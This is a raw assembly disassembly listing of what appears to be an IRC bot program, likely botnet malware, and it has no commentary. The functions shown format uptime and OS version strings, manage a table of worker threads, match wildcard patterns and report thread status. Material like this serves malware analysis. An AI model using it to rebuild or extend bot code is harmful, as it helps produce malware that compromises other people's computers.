loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 2680CD4h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431280
		push	eax
		push	esi
		call	near ptr 26B0000h
		nop
		movsx	eax, byte_431280
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx

loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx

loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx

loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65

loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F

loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 2680CD4h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	near ptr 26C0000h
		nop
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431284
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA

loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4

loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D158
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26C04CCh
		call	near ptr 2680CD4h
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_4312AC

loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_4312A8
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_4312A4
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_4312A0
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_43129C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431298
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431294
		jz	short loc_40AFA0

loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431290

loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431288
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4

loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE

loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2680CD4h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAFB0
		test	eax, eax
		mov	eax, offset dword_4312B8
		jnz	short loc_40B022
		mov	eax, offset dword_43D158

loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_4312B0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------

loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAFB0
		test	eax, eax
		mov	eax, offset dword_4312B8
		jnz	short loc_40B04D
		mov	eax, offset dword_43D158

loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h

loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D5BC

loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------

loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D634
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------

loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D5C0[eax*4]
		pop	ecx

loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCE0

loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACE0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------

loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCE0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEE0[esi], eax
		and	dword_43DEE4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEE8[esi], 0
		mov	dword_43DEEC[esi], eax
		and	byte_43DEF8[esi], 0
		pop	esi

loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2C4E4FE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 4313B8h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCE0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C1C468FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0E0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEF4[esi]
		lea	edi, dword_43DEF4[esi]
		nop
		call	near ptr 2680D1Dh
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp

loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEE8[esi]
		mov	dword_43DEE0[esi], ebx
		mov	dword_43DEE4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx

loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEEC[esi]
		mov	byte ptr dword_43DCE0[esi], bl
		mov	byte_43DEF8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB03C
		lea	esi, dword_43DEF0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB03C
		mov	[esi], ebx
		pop	edi

loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCE0

loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx

loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACE0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEE4

loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327

loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]

loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEE4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEE0

loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax

loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEE0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEE0

loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEE0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx

loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------

loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEF4[eax], ecx
		mov	dword_43DEE0[eax], ecx
		mov	dword_43DEE4[eax], ecx
		mov	dword_43DEE8[eax], ecx
		mov	dword_43DEEC[eax], ecx
		mov	dword_43DEF0[eax], ecx
		mov	byte ptr dword_43DCE0[eax], cl
		mov	byte_43DEF8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------

loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------

loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------

loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax

loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi

loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562

loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------

loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi

loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------

loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1

loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax

loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------

loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------

loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F

loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------

loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------

loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3

loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1

loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]

loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317D4
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431438, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431440

loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_4317C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch

loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi

loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
